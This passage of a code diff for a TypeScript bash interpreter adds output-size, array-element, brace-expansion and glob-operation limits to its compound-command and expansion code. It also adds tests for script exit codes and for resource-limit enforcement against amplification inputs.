+  StatementNode,
   UntilNode,
   WhileNode,
   WordNode,
 } from "../ast/types.js";
+import { utf8ByteLength } from "../encoding.js";
 import type { ExecResult } from "../types.js";
 import { evaluateArithmetic } from "./arithmetic.js";
 import { matchPattern } from "./conditionals.js";
-import { BreakError, ContinueError, GlobError } from "./errors.js";
+import {
+  BreakError,
+  ContinueError,
+  ErrexitError,
+  ExecutionLimitError,
+  ExitError,
+  GlobError,
+  isScopeExitError,
+  SubshellExitError,
+} from "./errors.js";
 import {
   escapeGlobChars,
   expandWord,
   expandWordWithGlob,
   isWordFullyQuoted,
 } from "./expansion.js";
+import { appendBoundedElements } from "./helpers/bounded-array.js";
 import { executeCondition } from "./helpers/condition.js";
+import { getErrorMessage } from "./helpers/errors.js";
 import { handleLoopError } from "./helpers/loop.js";
-import { failure, result, throwExecutionLimit } from "./helpers/result.js";
-import { executeStatements } from "./helpers/statements.js";
+import { failure, throwExecutionLimit } from "./helpers/result.js";
 import { applyRedirections, preOpenOutputRedirects } from "./redirections.js";
 import type { InterpreterContext } from "./types.js";
 
+class CompoundOutput {
+  private stdoutChunks: string[] = [];
+  private stderrChunks: string[] = [];
+  private totalBytes = 0;
+
+  constructor(private readonly ctx: InterpreterContext) {}
+
+  append(stdout: string, stderr: string): void {
+    const addedBytes = utf8ByteLength(stdout) + utf8ByteLength(stderr);
+    if (addedBytes > this.ctx.limits.maxOutputSize - this.totalBytes) {
+      throwExecutionLimit(
+        `total output size exceeded (>${this.ctx.limits.maxOutputSize} bytes), increase executionLimits.maxOutputSize`,
+        "output_size",
+      );
+    }
+    if (stdout) this.stdoutChunks.push(stdout);
+    if (stderr) this.stderrChunks.push(stderr);
+    this.totalBytes += addedBytes;
+  }
+
+  /** Append output synthesized here rather than relayed from a child. */
+  appendUnaccounted(stdout: string, stderr: string): void {
+    this.ctx.executionScope.appendOutput("stdout", stdout, "control-flow");
+    this.ctx.executionScope.appendOutput("stderr", stderr, "control-flow");
+    this.append(stdout, stderr);
+  }
+
+  replace(stdout: string, stderr: string): void {
+    this.stdoutChunks = [];
+    this.stderrChunks = [];
+    this.totalBytes = 0;
+    this.append(stdout, stderr);
+  }
+
+  get stdout(): string {
+    return this.stdoutChunks.join("");
+  }
+
+  get stderr(): string {
+    return this.stderrChunks.join("");
+  }
+
+  /** Preserve child accounting while relaying compound-command output. */
+  build(exitCode: number): ExecResult {
+    const stdout = this.stdout;
+    const stderr = this.stderr;
+    return {
+      stdout,
+      stderr,
+      exitCode,
+      internalOutputAccounting: {
+        stdout: utf8ByteLength(stdout),
+        stderr: utf8ByteLength(stderr),
+      },
+    };
+  }
+}
+
+async function executeBoundedStatements(
+  ctx: InterpreterContext,
+  statements: StatementNode[],
+  output: CompoundOutput,
+): Promise<ExecResult> {
+  let exitCode = 0;
+  try {
+    for (const statement of statements) {
+      const statementResult = await ctx.executeStatement(statement);
+      output.append(statementResult.stdout, statementResult.stderr);
+      exitCode = statementResult.exitCode;
+    }
+  } catch (error) {
+    if (
+      isScopeExitError(error) ||
+      error instanceof ErrexitError ||
+      error instanceof ExitError ||
+      error instanceof ExecutionLimitError ||
+      error instanceof SubshellExitError
+    ) {
+      error.prependOutput(output.stdout, output.stderr);
+      throw error;
+    }
+    output.appendUnaccounted("", `${getErrorMessage(error)}\n`);
+    return output.build(1);
+  }
+  return output.build(exitCode);
+}
+
 export async function executeIf(
   ctx: InterpreterContext,
   node: IfNode,
 ): Promise<ExecResult> {
-  let stdout = "";
-  let stderr = "";
+  const output = new CompoundOutput(ctx);
 
   for (const clause of node.clauses) {
     // Condition evaluation should not trigger errexit
     const condResult = await executeCondition(ctx, clause.condition);
-    stdout += condResult.stdout;
-    stderr += condResult.stderr;
+    output.append(condResult.stdout, condResult.stderr);
 
     if (condResult.exitCode === 0) {
-      return executeStatements(ctx, clause.body, stdout, stderr);
+      return executeBoundedStatements(ctx, clause.body, output);
     }
   }
 
   if (node.elseBody) {
-    return executeStatements(ctx, node.elseBody, stdout, stderr);
+    return executeBoundedStatements(ctx, node.elseBody, output);
   }
 
-  return result(stdout, stderr, 0);
+  return output.build(0);
 }
 
 export async function executeFor(
@@ -70,13 +167,15 @@ export async function executeFor(
   // Pre-open output redirects to truncate files BEFORE expanding words
   // This matches bash behavior where redirect files are opened before
   // any command substitutions in the word list are evaluated
-  const preOpenError = await preOpenOutputRedirects(ctx, node.redirections);
-  if (preOpenError) {
-    return preOpenError;
+  const preparedRedirects = await preOpenOutputRedirects(
+    ctx,
+    node.redirections,
+  );
+  if (preparedRedirects.error) {
+    return preparedRedirects.error;
   }
 
-  let stdout = "";
-  let stderr = "";
+  const output = new CompoundOutput(ctx);
   let exitCode = 0;
   let iterations = 0;
 
@@ -94,7 +193,12 @@ export async function executeFor(
     try {
       for (const word of node.words) {
         const expanded = await expandWordWithGlob(ctx, word);
-        words.push(...expanded.values);
+        appendBoundedElements(
+          words,
+          expanded.values,
+          ctx.limits.maxArrayElements,
+          "for-loop expansion",
+        );
       }
     } catch (e) {
       if (e instanceof GlobError) {
@@ -113,8 +217,8 @@ export async function executeFor(
         throwExecutionLimit(
           `for loop: too many iterations (${ctx.limits.maxLoopIterations}), increase executionLimits.maxLoopIterations`,
           "iterations",
-          stdout,
-          stderr,
+          output.stdout,
+          output.stderr,
         );
       }
 
@@ -123,25 +227,28 @@ export async function executeFor(
       try {
         for (const stmt of node.body) {
           const stmtResult = await ctx.executeStatement(stmt);
-          stdout += stmtResult.stdout;
-          stderr += stmtResult.stderr;
+          output.append(stmtResult.stdout, stmtResult.stderr);
           exitCode = stmtResult.exitCode;
         }
       } catch (error) {
         const loopResult = handleLoopError(
           error,
-          stdout,
-          stderr,
+          output.stdout,
+          output.stderr,
           ctx.state.loopDepth,
         );
-        stdout = loopResult.stdout;
-        stderr = loopResult.stderr;
+        output.replace(loopResult.stdout, loopResult.stderr);
         if (loopResult.action === "break") break;
         if (loopResult.action === "continue") continue;
         if (loopResult.action === "error") {
           // Apply output redirections before returning
-          const bodyResult = result(stdout, stderr, loopResult.exitCode ?? 1);
-          return applyRedirections(ctx, bodyResult, node.redirections);
+          const bodyResult = output.build(loopResult.exitCode ?? 1);
+          return applyRedirections(
+            ctx,
+            bodyResult,
+            node.redirections,
+            preparedRedirects.targets,
+          );
         }
         throw loopResult.error;
       }
@@ -154,8 +261,13 @@ export async function executeFor(
   // Do NOT ctx.state.env.delete(node.variable) here
 
   // Apply output redirections
-  const bodyResult = result(stdout, stderr, exitCode);
-  return applyRedirections(ctx, bodyResult, node.redirections);
+  const bodyResult = output.build(exitCode);
+  return applyRedirections(
+    ctx,
+    bodyResult,
+    node.redirections,
+    preparedRedirects.targets,
+  );
 }
 
 export async function executeCStyleFor(
@@ -165,9 +277,12 @@ export async function executeCStyleFor(
   // Pre-open output redirects to truncate files BEFORE evaluating expressions
   // This matches bash behavior where redirect files are opened before
   // any command substitutions in the loop are evaluated
-  const preOpenError = await preOpenOutputRedirects(ctx, node.redirections);
-  if (preOpenError) {
-    return preOpenError;
+  const preparedRedirects = await preOpenOutputRedirects(
+    ctx,
+    node.redirections,
+  );
+  if (preparedRedirects.error) {
+    return preparedRedirects.error;
   }
 
   // Update currentLine for $LINENO - set to loop header line
@@ -176,8 +291,7 @@ export async function executeCStyleFor(
     ctx.state.currentLine = loopLine;
   }
 
-  let stdout = "";
-  let stderr = "";
+  const output = new CompoundOutput(ctx);
   let exitCode = 0;
   let iterations = 0;
 
@@ -193,8 +307,8 @@ export async function executeCStyleFor(
         throwExecutionLimit(
           `for loop: too many iterations (${ctx.limits.maxLoopIterations}), increase executionLimits.maxLoopIterations`,
           "iterations",
-          stdout,
-          stderr,
+          output.stdout,
+          output.stderr,
         );
       }
 
@@ -213,19 +327,17 @@ export async function executeCStyleFor(
       try {
         for (const stmt of node.body) {
           const stmtResult = await ctx.executeStatement(stmt);
-          stdout += stmtResult.stdout;
-          stderr += stmtResult.stderr;
+          output.append(stmtResult.stdout, stmtResult.stderr);
           exitCode = stmtResult.exitCode;
         }
       } catch (error) {
         const loopResult = handleLoopError(
           error,
-          stdout,
-          stderr,
+          output.stdout,
+          output.stderr,
           ctx.state.loopDepth,
         );
-        stdout = loopResult.stdout;
-        stderr = loopResult.stderr;
+        output.replace(loopResult.stdout, loopResult.stderr);
         if (loopResult.action === "break") break;
         if (loopResult.action === "continue") {
           // Still need to run the update expression on continue
@@ -236,8 +348,13 @@ export async function executeCStyleFor(
         }
         if (loopResult.action === "error") {
           // Apply output redirections before returning
-          const bodyResult = result(stdout, stderr, loopResult.exitCode ?? 1);
-          return applyRedirections(ctx, bodyResult, node.redirections);
+          const bodyResult = output.build(loopResult.exitCode ?? 1);
+          return applyRedirections(
+            ctx,
+            bodyResult,
+            node.redirections,
+            preparedRedirects.targets,
+          );
         }
         throw loopResult.error;
       }
@@ -251,8 +368,13 @@ export async function executeCStyleFor(
   }
 
   // Apply output redirections
-  const bodyResult = result(stdout, stderr, exitCode);
-  return applyRedirections(ctx, bodyResult, node.redirections);
+  const bodyResult = output.build(exitCode);
+  return applyRedirections(
+    ctx,
+    bodyResult,
+    node.redirections,
+    preparedRedirects.targets,
+  );
 }
 
 export async function executeWhile(
@@ -260,8 +382,7 @@ export async function executeWhile(
   node: WhileNode,
   stdin = "",
 ): Promise<ExecResult> {
-  let stdout = "";
-  let stderr = "";
+  const output = new CompoundOutput(ctx);
   let exitCode = 0;
   let iterations = 0;
 
@@ -309,8 +430,8 @@ export async function executeWhile(
         throwExecutionLimit(
           `while loop: too many iterations (${ctx.limits.maxLoopIterations}), increase executionLimits.maxLoopIterations`,
           "iterations",
-          stdout,
-          stderr,
+          output.stdout,
+          output.stderr,
         );
       }
 
@@ -324,30 +445,27 @@ export async function executeWhile(
       try {
         for (const stmt of node.condition) {
           const result = await ctx.executeStatement(stmt);
-          stdout += result.stdout;
-          stderr += result.stderr;
+          output.append(result.stdout, result.stderr);
           conditionExitCode = result.exitCode;
         }
       } catch (error) {
         // break/continue in condition should affect THIS while loop
         if (error instanceof BreakError) {
-          stdout += error.stdout;
-          stderr += error.stderr;
+          output.append(error.stdout, error.stderr);
           if (error.levels > 1 && ctx.state.loopDepth > 1) {
             error.levels--;
-            error.stdout = stdout;
-            error.stderr = stderr;
+            error.stdout = output.stdout;
+            error.stderr = output.stderr;
             ctx.state.inCondition = savedInCondition;
             throw error;
           }
           shouldBreak = true;
         } else if (error instanceof ContinueError) {
-          stdout += error.stdout;
-          stderr += error.stderr;
+          output.append(error.stdout, error.stderr);
           if (error.levels > 1 && ctx.state.loopDepth > 1) {
             error.levels--;
-            error.stdout = stdout;
-            error.stderr = stderr;
+            error.stdout = output.stdout;
+            error.stderr = output.stderr;
             ctx.state.inCondition = savedInCondition;
             throw error;
           }
@@ -367,23 +485,21 @@ export async function executeWhile(
       try {
         for (const stmt of node.body) {
           const stmtResult = await ctx.executeStatement(stmt);
-          stdout += stmtResult.stdout;
-          stderr += stmtResult.stderr;
+          output.append(stmtResult.stdout, stmtResult.stderr);
           exitCode = stmtResult.exitCode;
         }
       } catch (error) {
         const loopResult = handleLoopError(
           error,
-          stdout,
-          stderr,
+          output.stdout,
+          output.stderr,
           ctx.state.loopDepth,
         );
-        stdout = loopResult.stdout;
-        stderr = loopResult.stderr;
+        output.replace(loopResult.stdout, loopResult.stderr);
         if (loopResult.action === "break") break;
         if (loopResult.action === "continue") continue;
         if (loopResult.action === "error") {
-          return result(stdout, stderr, loopResult.exitCode ?? 1);
+          return output.build(loopResult.exitCode ?? 1);
         }
         throw loopResult.error;
       }
@@ -393,15 +509,14 @@ export async function executeWhile(
     ctx.state.groupStdin = savedGroupStdin;
   }
 
-  return result(stdout, stderr, exitCode);
+  return output.build(exitCode);
 }
 
 export async function executeUntil(
   ctx: InterpreterContext,
   node: UntilNode,
 ): Promise<ExecResult> {
-  let stdout = "";
-  let stderr = "";
+  const output = new CompoundOutput(ctx);
   let exitCode = 0;
   let iterations = 0;
 
@@ -413,38 +528,35 @@ export async function executeUntil(
         throwExecutionLimit(
           `until loop: too many iterations (${ctx.limits.maxLoopIterations}), increase executionLimits.maxLoopIterations`,
           "iterations",
-          stdout,
-          stderr,
+          output.stdout,
+          output.stderr,
         );
       }
 
       // Condition evaluation should not trigger errexit
       const condResult = await executeCondition(ctx, node.condition);
-      stdout += condResult.stdout;
-      stderr += condResult.stderr;
+      output.append(condResult.stdout, condResult.stderr);
 
       if (condResult.exitCode === 0) break;
 
       try {
         for (const stmt of node.body) {
           const stmtResult = await ctx.executeStatement(stmt);
-          stdout += stmtResult.stdout;
-          stderr += stmtResult.stderr;
+          output.append(stmtResult.stdout, stmtResult.stderr);
           exitCode = stmtResult.exitCode;
         }
       } catch (error) {
         const loopResult = handleLoopError(
           error,
-          stdout,
-          stderr,
+          output.stdout,
+          output.stderr,
           ctx.state.loopDepth,
         );
-        stdout = loopResult.stdout;
-        stderr = loopResult.stderr;
+        output.replace(loopResult.stdout, loopResult.stderr);
         if (loopResult.action === "break") break;
         if (loopResult.action === "continue") continue;
         if (loopResult.action === "error") {
-          return result(stdout, stderr, loopResult.exitCode ?? 1);
+          return output.build(loopResult.exitCode ?? 1);
         }
         throw loopResult.error;
       }
@@ -453,7 +565,7 @@ export async function executeUntil(
     ctx.state.loopDepth--;
   }
 
-  return result(stdout, stderr, exitCode);
+  return output.build(exitCode);
 }
 
 export async function executeCase(
@@ -463,13 +575,15 @@ export async function executeCase(
   // Pre-open output redirects to truncate files BEFORE expanding case word
   // This matches bash behavior where redirect files are opened before
   // any command substitutions in the case word are evaluated
-  const preOpenError = await preOpenOutputRedirects(ctx, node.redirections);
-  if (preOpenError) {
-    return preOpenError;
+  const preparedRedirects = await preOpenOutputRedirects(
+    ctx,
+    node.redirections,
+  );
+  if (preparedRedirects.error) {
+    return preparedRedirects.error;
   }
 
-  let stdout = "";
-  let stderr = "";
+  const output = new CompoundOutput(ctx);
   let exitCode = 0;
 
   const value = await expandWord(ctx, node.word);
@@ -492,7 +606,15 @@ export async function executeCase(
         }
         const nocasematch = ctx.state.shoptOptions.nocasematch;
         const extglob = ctx.state.shoptOptions.extglob;
-        if (matchPattern(value, patternStr, nocasematch, extglob)) {
+        if (
+          matchPattern(
+            value,
+            patternStr,
+            nocasematch,
+            extglob,
+            ctx.limits.maxCallDepth,
+          )
+        ) {
           matched = true;
           break;
         }
@@ -500,14 +622,8 @@ export async function executeCase(
     }
 
     if (matched) {
-      const bodyResult = await executeStatements(
-        ctx,
-        item.body,
-        stdout,
-        stderr,
-      );
-      stdout = bodyResult.stdout;
-      stderr = bodyResult.stderr;
+      const bodyResult = await executeBoundedStatements(ctx, item.body, output);
+      output.replace(bodyResult.stdout, bodyResult.stderr);
       exitCode = bodyResult.exitCode;
 
       // Handle different terminators:
@@ -528,6 +644,11 @@ export async function executeCase(
   }
 
   // Apply output redirections
-  const bodyResult = result(stdout, stderr, exitCode);
-  return applyRedirections(ctx, bodyResult, node.redirections);
+  const bodyResult = output.build(exitCode);
+  return applyRedirections(
+    ctx,
+    bodyResult,
+    node.redirections,
+    preparedRedirects.targets,
+  );
 }
diff --git a/packages/just-bash/src/interpreter/defense-aware-command-context.ts b/packages/just-bash/src/interpreter/defense-aware-command-context.ts
index 7bdddd45..24494174 100644
--- a/packages/just-bash/src/interpreter/defense-aware-command-context.ts
+++ b/packages/just-bash/src/interpreter/defense-aware-command-context.ts
@@ -1,5 +1,5 @@
 import { assertDefenseContext } from "../security/defense-context.js";
-import type { CommandContext } from "../types.js";
+import type { RuntimeCommandContext } from "../types.js";
 
 function isPromiseLike(value: unknown): value is PromiseLike<unknown> {
   return (
@@ -47,11 +47,11 @@ function wrapFunction<TArgs extends unknown[], TResult>(
 }
 
 function wrapFileSystem(
-  fs: CommandContext["fs"],
+  fs: RuntimeCommandContext["fs"],
   requireDefenseContext: boolean | undefined,
   component: string,
-): CommandContext["fs"] {
-  const wrappedFs: CommandContext["fs"] = {
+): RuntimeCommandContext["fs"] {
+  const wrappedFs: RuntimeCommandContext["fs"] = {
     readFile: wrapFunction(
       fs.readFile.bind(fs),
       requireDefenseContext,
@@ -192,15 +192,15 @@ function wrapFileSystem(
  * context is expected but missing.
  */
 export function createDefenseAwareCommandContext(
-  ctx: CommandContext,
+  ctx: RuntimeCommandContext,
   commandName: string,
-): CommandContext {
+): RuntimeCommandContext {
   if (!ctx.requireDefenseContext) {
     return ctx;
   }
 
   const component = `command:${commandName}`;
-  const wrappedCtx: CommandContext = {
+  const wrappedCtx: RuntimeCommandContext = {
     ...ctx,
     fs: wrapFileSystem(ctx.fs, ctx.requireDefenseContext, component),
   };
diff --git a/packages/just-bash/src/interpreter/errors.ts b/packages/just-bash/src/interpreter/errors.ts
index 92c60514..6974d080 100644
--- a/packages/just-bash/src/interpreter/errors.ts
+++ b/packages/just-bash/src/interpreter/errors.ts
@@ -11,12 +11,14 @@
  * All control flow errors carry stdout/stderr to accumulate output
  * as they propagate through the execution stack.
  */
+import { utf8ByteLength } from "../encoding.js";
 
 /**
  * Base class for all control flow errors.
  * Carries stdout/stderr to preserve output during propagation.
  */
-abstract class ControlFlowError extends Error {
+export abstract class ControlFlowError extends Error {
+  internalOutputAccounting = { stdout: 0, stderr: 0 };
   constructor(
     message: string,
     public stdout: string = "",
@@ -31,6 +33,8 @@ abstract class ControlFlowError extends Error {
   prependOutput(stdout: string, stderr: string): void {
     this.stdout = stdout + this.stdout;
     this.stderr = stderr + this.stderr;
+    this.internalOutputAccounting.stdout += utf8ByteLength(stdout);
+    this.internalOutputAccounting.stderr += utf8ByteLength(stderr);
   }
 }
 
@@ -210,6 +214,7 @@ export class ExecutionLimitError extends ControlFlowError {
       | "glob_operations"
       | "substitution_depth"
       | "output_size"
+      | "array_elements"
       | "file_descriptors",
     stdout: string = "",
     stderr: string = "",
diff --git a/packages/just-bash/src/interpreter/executable-script.test.ts b/packages/just-bash/src/interpreter/executable-script.test.ts
new file mode 100644
index 00000000..015f79f8
--- /dev/null
+++ b/packages/just-bash/src/interpreter/executable-script.test.ts
@@ -0,0 +1,40 @@
+import { describe, expect, it } from "vitest";
+import { Bash } from "../Bash.js";
+
+describe("executable scripts", () => {
+  it.each([
+    2, 1,
+  ])("continues a semicolon list after a script exits %i", async (exitCode) => {
+    const env = new Bash({
+      files: {
+        "/scripts/fail.sh": `exit ${exitCode}\n`,
+      },
+    });
+    await env.exec("chmod +x /scripts/fail.sh");
+
+    const result = await env.exec("/scripts/fail.sh ; echo $?");
+
+    expect(result).toMatchObject({
+      stdout: `${exitCode}\n`,
+      stderr: "",
+      exitCode: 0,
+    });
+  });
+
+  it("does not continue an AND list after a script fails", async () => {
+    const env = new Bash({
+      files: {
+        "/scripts/fail.sh": "exit 2\n",
+      },
+    });
+    await env.exec("chmod +x /scripts/fail.sh");
+
+    const result = await env.exec("/scripts/fail.sh && echo $?");
+
+    expect(result).toMatchObject({
+      stdout: "",
+      stderr: "",
+      exitCode: 2,
+    });
+  });
+});
diff --git a/packages/just-bash/src/interpreter/expansion-resource-limits.security.test.ts b/packages/just-bash/src/interpreter/expansion-resource-limits.security.test.ts
new file mode 100644
index 00000000..34504be3
--- /dev/null
+++ b/packages/just-bash/src/interpreter/expansion-resource-limits.security.test.ts
@@ -0,0 +1,121 @@
+import { describe, expect, it } from "vitest";
+import type { SimpleCommandNode } from "../ast/types.js";
+import { Bash } from "../Bash.js";
+import { resolveLimits } from "../limits.js";
+import { Parser } from "../parser/parser.js";
+import { expandAlias } from "./alias-expansion.js";
+import { ExecutionLimitError } from "./errors.js";
+import { expandBraceRange } from "./expansion/brace-range.js";
+
+describe("interpreter expansion resource limits", () => {
+  it("bounds a trailing-space alias chain iteratively", async () => {
+    const bash = new Bash({ executionLimits: { maxCallDepth: 3 } });
+    const result = await bash.exec(
+      "shopt -s expand_aliases; alias a='echo ' b='echo ' c='echo ' d='echo '; a b c d value",
+    );
+
+    expect(result.exitCode).toBe(ExecutionLimitError.EXIT_CODE);
+    expect(result.stderr).toContain("alias expansion depth limit exceeded (3)");
+  });
+
+  it("checks the reconstructed alias command before parsing it", () => {
+    const ast = new Parser().parse("a 123456 123456");
+    const node = ast.statements[0].pipelines[0]
+      .commands[0] as SimpleCommandNode;
+
+    expect(() =>
+      expandAlias(
+        {
+          env: new Map([["BASH_ALIAS_a", "echo"]]),
+          limits: resolveLimits({ maxStringLength: 12 }),
+        },
+        node,
+        new Set(),
+      ),
+    ).toThrow("alias expansion exceeds string length limit");
+  });
+
+  it("enforces aggregate array-assignment elements", async () => {
+    const bash = new Bash({ executionLimits: { maxArrayElements: 5 } });
+    const result = await bash.exec("f() { local values=(a b c d e f); }; f");
+
+    expect(result.exitCode).toBe(ExecutionLimitError.EXIT_CODE);
+    expect(result.stderr).toContain(
+      "array assignment element limit exceeded (5)",
+    );
+  });
+
+  it("bounds the final reconstructed array assignment", async () => {
+    const bash = new Bash({ executionLimits: { maxStringLength: 20 } });
+    const result = await bash.exec(
+      "f() { local values=('abcdefgh' 'ijklmnop'); }; f",
+    );
+
+    expect(result.exitCode).toBe(ExecutionLimitError.EXIT_CODE);
+    expect(result.stderr).toContain("array assignment string limit exceeded");
+  });
+
+  it("stops range generation at the configured result limit", () => {
+    const result = expandBraceRange(1, 10_000, undefined, "1", "10000", {
+      maxResults: 3,
+      maxStringBytes: 64,
+    });
+
+    expect(result.expanded).toEqual(["1", "2", "3"]);
+  });
+
+  it("rejects attacker-controlled range padding before padStart", () => {
+    expect(() =>
+      expandBraceRange(1, 2, undefined, `0${"0".repeat(64)}1`, "2", {
+        maxResults: 10,
+        maxStringBytes: 32,
+      }),
+    ).toThrow("brace expansion padding limit exceeded (32 bytes)");
+  });
+
+  it("bounds aggregate vectorized positional replacement output", async () => {
+    const bash = new Bash({ executionLimits: { maxStringLength: 40 } });
+    const result = await bash.exec('set -- aaaa aaaa; echo "${@//a/xxxxxxxx}"');
+
+    expect(result.exitCode).toBe(ExecutionLimitError.EXIT_CODE);
+    expect(result.stderr).toContain(
+      "positional expansion string limit exceeded",
+    );
+  });
+
+  it("charges vectorized shortest-pattern-removal work", async () => {
+    const bash = new Bash({ executionLimits: { maxGlobOperations: 16 } });
+    const result = await bash.exec(
+      'set -- aaaaa bbbbb ccccc ddddd; echo "${@%z}"',
+    );
+
+    expect(result.exitCode).toBe(ExecutionLimitError.EXIT_CODE);
+    expect(result.stderr).toContain("pattern-removal work limit exceeded (16)");
+  });
+
+  it("bounds prompt amplification before constructing the scalar result", async () => {
+    const bash = new Bash({
+      env: { USER: "abcdefgh" },
+      executionLimits: { maxStringLength: 12 },
+    });
+    const result = await bash.exec('value="\\u\\u"; echo "${value@P}"');
+
+    expect(result.exitCode).toBe(ExecutionLimitError.EXIT_CODE);
+    expect(result.stderr).toContain(
+      "prompt expansion exceeds string length limit",
+    );
+  });
+
+  it("accounts prompt transforms across all array elements", async () => {
+    const bash = new Bash({
+      env: { USER: "abcdefgh" },
+      executionLimits: { maxStringLength: 24 },
+    });
+    const result = await bash.exec(
+      'values=("\\u\\u" "\\u\\u"); echo "${values[@]@P}"',
+    );
+
+    expect(result.exitCode).toBe(ExecutionLimitError.EXIT_CODE);
+    expect(result.stderr).toContain("array transform string limit exceeded");
+  });
+});
diff --git a/packages/just-bash/src/interpreter/expansion.ts b/packages/just-bash/src/interpreter/expansion.ts
index d126637f..db5bb39a 100644
--- a/packages/just-bash/src/interpreter/expansion.ts
+++ b/packages/just-bash/src/interpreter/expansion.ts
@@ -24,6 +24,7 @@ import {
   ExecutionLimitError,
   ExitError,
 } from "./errors.js";
+import { cloneArrays } from "./helpers/array.js";
 
 /**
  * Check if a string exceeds the maximum allowed length.
@@ -341,9 +342,25 @@ async function expandBracesInPartsAsync(
   parts: WordPart[],
   operationCounter: { count: number } = { count: 0 },
 ): Promise<BraceExpandedPart[][]> {
-  if (operationCounter.count > MAX_BRACE_OPERATIONS) {
-    return [[]];
-  }
+  const chargeBraceOperation = (): void => {
+    operationCounter.count++;
+    ctx.executionScope.consumeLimited(
+      "brace_operations",
+      1,
+      Math.min(MAX_BRACE_OPERATIONS, ctx.limits.maxBraceExpansionResults),
+      "brace expansion",
+    );
+  };
+  const pushBraceValue = (values: string[], value: string): void => {
+    if (values.length >= ctx.limits.maxBraceExpansionResults) {
+      throw new ExecutionLimitError(
+        `brace expansion result limit exceeded (${ctx.limits.maxBraceExpansionResults})`,
+        "array_elements",
+      );
+    }
+    chargeBraceOperation();
+    values.push(value);
+  };
 
   let results: BraceExpandedPart[][] = [[]];
 
@@ -360,11 +377,14 @@ async function expandBracesInPartsAsync(
             item.step,
             item.startStr,
             item.endStr,
+            {
+              maxResults: ctx.limits.maxBraceExpansionResults,
+              maxStringBytes: ctx.limits.maxStringLength,
+            },
           );
           if (range.expanded) {
             for (const val of range.expanded) {
-              operationCounter.count++;
-              braceValues.push(val);
+              pushBraceValue(braceValues, val);
             }
           } else {
             hasInvalidRange = true;
@@ -379,7 +399,6 @@ async function expandBracesInPartsAsync(
             operationCounter,
           );
           for (const exp of expanded) {
-            operationCounter.count++;
             // Join all parts, expanding any deferred WordParts
             const joinedParts: string[] = [];
             for (const p of exp) {
@@ -389,14 +408,14 @@ async function expandBracesInPartsAsync(
                 joinedParts.push(await expandPart(ctx, p));
               }
             }
-            braceValues.push(joinedParts.join(""));
+            pushBraceValue(braceValues, joinedParts.join(""));
           }
         }
       }
 
       if (hasInvalidRange) {
         for (const result of results) {
-          operationCounter.count++;
+          chargeBraceOperation();
           result.push(invalidRangeLiteral);
         }
         continue;
@@ -407,16 +426,22 @@ async function expandBracesInPartsAsync(
         newSize > ctx.limits.maxBraceExpansionResults ||
         operationCounter.count > MAX_BRACE_OPERATIONS
       ) {
-        return results;
+        throw new ExecutionLimitError(
+          `brace expansion result limit exceeded (${ctx.limits.maxBraceExpansionResults})`,
+          "array_elements",
+        );
       }
 
       const newResults: BraceExpandedPart[][] = [];
       for (const result of results) {
         for (const val of braceValues) {
-          operationCounter.count++;
-          if (operationCounter.count > MAX_BRACE_OPERATIONS) {
-            return newResults.length > 0 ? newResults : results;
+          if (newResults.length >= ctx.limits.maxBraceExpansionResults) {
+            throw new ExecutionLimitError(
+              `brace expansion result limit exceeded (${ctx.limits.maxBraceExpansionResults})`,
+              "array_elements",
+            );
           }
+          chargeBraceOperation();
           newResults.push([...result, val]);
         }
       }
@@ -424,7 +449,7 @@ async function expandBracesInPartsAsync(
     } else {
       // Non-brace part: keep as WordPart for deferred expansion
       for (const result of results) {
-        operationCounter.count++;
+        chargeBraceOperation();
         result.push(part);
       }
     }
@@ -602,7 +627,11 @@ export async function expandRedirectTarget(
 
   if (hasUnquotedExpansion && !isIfsEmpty(ctx.state.env)) {
     const ifsChars = getIfs(ctx.state.env);
-    const splitWords = splitByIfsForExpansion(value, ifsChars);
+    const splitWords = splitByIfsForExpansion(
+      value,
+      ifsChars,
+      ctx.limits.maxArrayElements,
+    );
     if (splitWords.length > 1) {
       // Word splitting produces multiple words - ambiguous redirect
       return {
@@ -636,6 +665,13 @@ export async function expandRedirectTarget(
     extglob: ctx.state.shoptOptions.extglob,
     globskipdots: ctx.state.shoptOptions.globskipdots,
     maxGlobOperations: ctx.limits.maxGlobOperations,
+    consumeOperation: () =>
+      ctx.executionScope.consumeLimited(
+        "glob_operations",
+        1,
+        ctx.limits.maxGlobOperations,
+        "glob expansion",
+      ),
   });
 
   const matches = await globExpander.expand(globPattern);
@@ -766,6 +802,7 @@ async function expandPart(
       // Save environment - command substitutions run in a subshell and should not
       // modify parent environment (e.g., aliases defined inside $() should not leak)
       const savedEnv = new Map(ctx.state.env);
+      const savedArrays = cloneArrays(ctx.state.arrays);
       const savedCwd = ctx.state.cwd;
       // Suppress verbose mode (set -v) inside command substitutions
       // bash only prints verbose output for the main script
@@ -776,6 +813,7 @@ async function expandPart(
         // Restore environment but preserve exit code
         const exitCode = result.exitCode;
         ctx.state.env = savedEnv;
+        ctx.state.arrays = savedArrays;
         ctx.state.cwd = savedCwd;
         ctx.state.suppressVerbose = savedSuppressVerbose;
         // Store the exit code for $?
@@ -800,6 +838,7 @@ async function expandPart(
       } catch (error) {
         // Restore environment on error as well
         ctx.state.env = savedEnv;
+        ctx.state.arrays = savedArrays;
         ctx.state.cwd = savedCwd;
         ctx.state.bashPid = savedBashPid;
         ctx.substitutionDepth = savedDepth;
@@ -866,6 +905,10 @@ async function expandPart(
             item.step,
             item.startStr,
             item.endStr,
+            {
+              maxResults: ctx.limits.maxBraceExpansionResults,
+              maxStringBytes: ctx.limits.maxStringLength,
+            },
           );
           if (range.expanded) {
             results.push(...range.expanded);
diff --git a/packages/just-bash/src/interpreter/expansion/array-pattern-ops.ts b/packages/just-bash/src/interpreter/expansion/array-pattern-ops.ts
index 0ef902c9..473b7251 100644
--- a/packages/just-bash/src/interpreter/expansion/array-pattern-ops.ts
+++ b/packages/just-bash/src/interpreter/expansion/array-pattern-ops.ts
@@ -242,7 +242,13 @@ export async function handleArrayPatternRemoval(
   const resultValues: string[] = [];
   for (const value of values) {
     resultValues.push(
-      applyPatternRemoval(value, regexStr, operation.side, operation.greedy),
+      applyPatternRemoval(
+        ctx,
+        value,
+        regexStr,
+        operation.side,
+        operation.greedy,
+      ),
     );
   }
 
diff --git a/packages/just-bash/src/interpreter/expansion/array-prefix-suffix.ts b/packages/just-bash/src/interpreter/expansion/array-prefix-suffix.ts
index 68f587d4..58973bf3 100644
--- a/packages/just-bash/src/interpreter/expansion/array-prefix-suffix.ts
+++ b/packages/just-bash/src/interpreter/expansion/array-prefix-suffix.ts
@@ -297,7 +297,7 @@ export async function handleArrayPatternWithPrefixSuffix(
     }
     // Apply pattern removal to each element
     values = values.map((value) =>
